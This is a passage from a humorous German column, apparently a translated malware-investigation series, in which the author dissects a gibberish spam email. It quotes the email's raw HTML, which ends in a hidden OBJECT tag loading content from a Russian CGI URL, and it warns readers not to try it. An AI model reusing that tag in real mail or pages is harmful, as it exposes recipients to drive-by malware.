Schädlingen auf der Spur, Teil 5
Seite 2: Schädlingen auf der Spur, Teil 5
Offenbar brauchte jemand dringend meine Hilfe -- und ein Grammatikbuch. Wie könnte ich diese eindringliche Bitte ignorieren.
Wenn ich so ein herzloses Ungeheuer wie die meisten wäre, würde ich einfach in meinem Outlook auf Löschen drücken. Aber um den Kink^Hg of Pop in einer frühen Inkarnation zu zitieren: "Ich bin nicht wie die anderen Typen" (Michael Jackson in Thriller, d.Ü.). Also klickte ich auf den Lösch-Button in Thunderbird.
Ich versuchte es zumindest. Doch genau in diesem Moment versagten die verdammten Batterien meiner schnurlosen Maus. Übermüdet und mit Koffeein vollgepumpt wie ich war, betrachtete ich das als eine Art Zeichen (Ich neige zu sowas. Irgendwann erzähl ich Ihnen die Geschichte von dem Törtchen, das ich für die Reinkarnation meiner kürzlich verstorbenen Katze hielt).
So entschied ich mich, ein paar frische AAs einzulegen und zu erforschen, was Sasha/Jude/Lucas/Norman/Marlin/Jabari (im Weiteren als SJLNMJ bezeichnet) solche Schwierigkeiten bereitet. Unzusammenhängende Gedanken und schlechte Punktuation waren jedenfalls ihr geringstes Problem. In der E-Mail lauerte Böses: HTML.
E-Mails sollten Text sein, Text und nur Text. Wenn Gott gewollt hätte, dass E-Mail in HTML geschrieben würden, endeten Gebete traditionell mit </amen>.
Aber ich schweife ab.
Wenn sich schon der Text von SJLNMJs Mail liest wie James Joyce auf Crack, enthält ja vielleicht der HTML-Teil der Nachricht eine erhellende Spur:
Content-Type: text/html; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
<HTML> <BODY> <FONT face="Verdana, Arial"> Hello, Lucas!
<P>
some help sunburned normal. how ray backbit me violently? repeatedly
position wrought my east except blood. i overrode a boiling dad beyond
science. kindly. their tight spring under office, which sneaked future,
elastic current. Norman felt that stiff list. i drew Marlen who ridded
me Jabari! she dug elastic arm, that interbred foolishly... beyond
interest dowed tin, authority withdrew above the expert toward sad boat:
<P>
you misread her ready decision aboard our special expansion, who laid
wearily. a bright balance swam considering our idea; elastic, angry
wall. black drink sock cost, he hoised yearly, deliberately, tenderly.
this good brass came from his offer; rough, possible paper. he wound
your future dress for the private chief, which miscast exactly. she gave
him separate. i outputted clear surprise, which misunderstood
obnoxiously...
<P>
bent the general play,
Jude MARINO. </FONT><P>
<img width=50 height=100 style="display:none"><div
id="abc"></div><ObJecT
data="http://www.oil-bank.ru/cgi-bin/gen/pscounter.cgi?action=click">
Ah! Damit ist alles klar. (Okay. Ich hab gelogen. Es ist immer noch wirres Kauderwelsch).
Aber halt! Was ist das am Ende? Ein OBJECT-Tag! Interessant! Mal sehn, wo uns das hinfĂĽhrt.
(Anmerkung: Ich sagte zwar "uns", aber um das klar zu stellen: Ich habs nicht so gemeint. Denkt nicht mal drĂĽber nach, das selbst auszuprobieren. Ihr wartet hier -- ich geh rein...)
(Anmerkung 2: Ich spreche mit dir, Herr "Ich weiĂź was ich tue". Lass es.)